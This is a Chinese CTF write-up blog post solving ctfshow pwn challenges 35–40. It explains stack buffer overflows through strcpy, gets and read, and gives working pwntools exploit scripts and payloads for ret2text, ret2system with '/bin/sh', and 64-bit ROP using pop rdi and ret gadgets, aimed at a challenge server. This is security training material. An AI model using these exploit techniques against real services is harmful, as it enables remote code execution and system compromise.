文章目录
- pwn 35
- pwn 36
- pwn 37
- pwn 38
- pwn 39
- pwn 40
好几天没发博客了,忙着吃席去了 QAQ
pwn 35
Partial RELRD,NX 开启
char dest;声明一个名为dest的字符变量。return strcpy(&dest, src);使用strcpy函数将src字符串复制到dest字符数组中,并返回指向dest的指针。strcpy函数(strcpy函数没有长度限制)这个函数是一个典型的可以用来利用溢出的函数。所以我们可以在这里进行栈溢出。
注意到signal(11, (__sighandler_t)sigsegv_handler);Signal 11错误,也称为“Segmentation fault”,是一种用于提示Unix系统程序出现错误的信号。当应用程序试图对无权访问的内存地址进行读写操作时,会调用 sigsegv_handler 函数,sigsegv_handler 函数 会把stderr打印输出,即将flag的值打印输出那么我们直接输入超长数据就会溢出,程序就会崩溃进而打印出flag
【Linux函数】Signal ()函数详细介绍_linux signal-CSDN博客
所以我们参数长点让 strcpy 溢出触发 NX 保护,然后触发 signal 11,再触发 sigsegv_handle 打印 flag
cyclic 105
./pwnme aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabb
pwn 36
存在后门函数,如何利用?
详细分析:checksec32位保护仅部分开启RELRO,同时注意到有可读可写可执行的段
ctfshow 函数中存在 gets 函数
gets(s)
该函数无法限制输入的长度,可能会超出s数组的容量,导致覆盖栈上的其他数据或执行任意代码。这也是明显的栈溢出漏洞,且提供后门函数 get_flag()
所以属于 ret2text
from pwn import *
from LibcSearcher import *def s(a):io.send(a)
def sa(a, b):io.sendafter(a, b)
def sl(a):io.sendline(a)
def sla(a, b):io.sendlineafter(a, b)
def r():io.recv()
def pr():print(io.recv())
def rl(a):return io.recvuntil(a)
def inter():io.interactive()
def debug():gdb.attach(io)pause()
def get_64addr():return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_32addr():return u32(io.recv()[0:4])
def get_64sb():return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def get_32sb():return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def get_64sb_libcsearch():return libc_base + libc.dump('system'), libc_base + libc.dump('str_bin_sh')
def get_32sb_libcsearch():return libc_base + libc.dump('system'), libc_base + libc.dump('str_bin_sh')context(os='linux', arch='i386', log_level='debug')
# context(os='linux', arch='amd64', log_level='debug')
io = process('./pwn')
elf = ELF('pwn')
io = remote('pwn.challenge.ctf.show',28241)padding = 44
back_door = elf.sym['get_flag']payload = flat([padding*b'a',back_door])sla('want: \n',payload)inter()
pwn 37
给了后门函数,ret2text
检查一下保护,开启了 nx 保护。堆栈不可执行,不过有后门函数,跟进 ctfshow 函数,read 可以读取 50 个字节
return read(0, buf, 0x32u);
而且,buf 到 返回地址偏移量是 0x12 + 4 个字节,完全够用。
from pwn import *
from LibcSearcher import *def s(a):io.send(a)
def sa(a, b):io.sendafter(a, b)
def sl(a):io.sendline(a)
def sla(a, b):io.sendlineafter(a, b)
def r():io.recv()
def pr():print(io.recv())
def rl(a):return io.recvuntil(a)
def inter():io.interactive()
def debug():gdb.attach(io)pause()
def get_64addr():return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_32addr():return u32(io.recv()[0:4])
def get_64sb():return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def get_32sb():return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def get_64sb_libcsearch():return libc_base + libc.dump('system'), libc_base + libc.dump('str_bin_sh')
def get_32sb_libcsearch():return libc_base + libc.dump('system'), libc_base + libc.dump('str_bin_sh')context(os='linux', arch='i386', log_level='debug')
# context(os='linux', arch='amd64', log_level='debug')
io = process('./pwn')
elf = ELF('pwn')
io = remote('pwn.challenge.ctf.show',28128)padding = 0x12 + 4
back_door = elf.sym['backdoor']payload = flat([padding*b'a',back_door])sla('32bit\n',payload)inter()
pwn 38
和上一题差不多,只是 64 位程序调用 system 要考虑堆栈平衡
padding = 0x0A + 8
back_door = elf.sym['backdoor']
payload = flat([padding*b'a',back_door+1])
pwn 39
system 和 ‘/bin/sh’ 分开,要我们自己传参了。
我们构造的payload在先进行溢出后,填上system函数的地址,这里我们需要注意函数调用栈的结构,如果是正常调用 system 函数,我们调用的时候会有一个对应的返回地址(随你便,我这里习惯用 deadbeef)。,最跟上 system 的参数 字符串 /bin/sh 的指针。
payload = flat([padding*b'a',system,0xdeadbeef,binsh])
pwn 40
ret2text 的 64 位传参,有两点要注意点
- rdi 寄存器传参
- 堆栈平衡
payload = flat([padding*b'a',ret,pop_rdi,binsh,system])